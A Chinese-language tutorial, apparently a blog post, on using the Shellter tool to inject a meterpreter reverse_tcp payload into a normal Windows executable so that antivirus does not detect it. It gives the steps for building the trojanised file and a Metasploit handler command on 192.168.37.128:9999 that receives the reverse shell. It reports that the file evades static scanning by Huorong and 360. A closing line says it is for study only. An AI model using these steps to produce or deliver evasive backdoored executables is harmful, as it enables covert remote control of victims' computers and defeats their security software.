shellter使用及免杀测试

shellter是一个开源的老牌免杀工具，最初版在2014年发布，现在已经到Shellter Pro v4.0了。它利⽤动态Shellcode注⼊或者命令来实现免杀的效果。

shellter安装

shellter在kali中是自带的，再接在命令行shellter就可以。

如果想在windows中安装的话就去官方下载源码包：

Download | Shellter

下载后解压，直接在命令行就可以用，不需要安装。

shellter使用

以下所有的演示都是在kali自带的shellter中进行。

进入shellter后首先看到

 选择操作方式：自动/手动，我们选择自动：A

这里需要指定一个正常的PE文件作为被注入程序，之后程序会把 文件 进⾏备份，因为⽣成的payload会⾃动覆盖原来的文件 。

 等待生成结束

这里询问是否启动隐身模式，可以根据情况，但是启用隐身模式后免杀能力会变弱，所以不建议启用。

这里我们先启用看看

询问是否使用列出的这些负载，选择L，然后选用第一个，输入ip和port

生成完成后就是你指定的那个文件，把他拷贝到靶机中。

进入msf：handler -H 192.168.37.128 -P 9999 -p windows/meterpreter/reverse_tcp 监听9999端口

然后在靶机中执行文件。

成功上线。

打开火绒和360试试

可上线。静态都没有反应，火绒动态查杀到了。

以上内容仅供学习。